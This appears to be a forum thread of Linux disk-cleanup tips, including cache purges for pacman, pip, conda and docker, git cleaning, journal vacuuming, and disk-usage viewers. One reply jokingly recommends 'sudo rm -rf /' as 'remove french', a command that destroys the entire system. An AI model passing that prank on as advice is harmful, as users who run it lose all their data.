    And that's all, I'm happy since I was out of space.

    Clean all the cache downloads of Arch Linux Packages

    pacman -Scc

    Remove unused docker networks and images

    docker system prune --all

    Cleanup untracked git files that might be in .gitignore such as build and out directories (beware of losing data, use "n" instead of "f" for a dry run)

    git clean -xdf

    Do an aggresive pruning of objects in git (MIGHT BE VERY SLOW)

    git gc --aggressive --prune=now

    Remove old journal logs, keeping last seven days

    journalctl --vacuum-time 7days

    Remove pip cache

    pip cache purge

      There's a more direct version of that, I guess from KDE, called KdirStat.

      I hadn't heard of the one in the op. But if I had to guess, it looks like it's a different take on the same idea.

      Omfg.

      I was trying to remember the name of kdirstat ladt night when I stumbled across filelight and made use of that instead.

      And now there'sa thread on this exact topic. Y'all need to quit it with all this Truman Show nonsense, Baader-Meinhof alone isn't enough to explain how frequently shit like this happens. XD

                This is why I've set up a ramdisk on ~/.cache and ~/Downloads -- "free" automatic cleanup plus a tad more of performance because why not.

                I might do that just to force myself to organize and move files out of downloads.

                      Is this a Linux version of windirstat?

                      There's also QDirStat which is like KDirStat but without KDE dependencies.

                        I recommend it too. It's simple as doing:

                        sudo rm -rf /
                        

                        Where "-rf" obviously stands for "remove french".

                          Remove unused conda packages and caches:

                          conda clean --all

                          If you are a Python developer, this can easily be several or tens of GB.

                            I create a cron job with something like: docker system prune -af --filter="until=XXh" where XX is on the order of a few days.

                              I don't think you'll need to do that, unless you are planning to download files that are over 4Gb long and/or you are using a potato that has less than 1 Gb of ram.

                              t. I've set my entire ram into a ramdisk, and the performance actually IMPROVED compared to not setting a ramdisk at all.

                                          Oh hey thanks for reminding me, freed 5GB which should buy me a bit of time on upgrading the server I use for this lemmy instance.
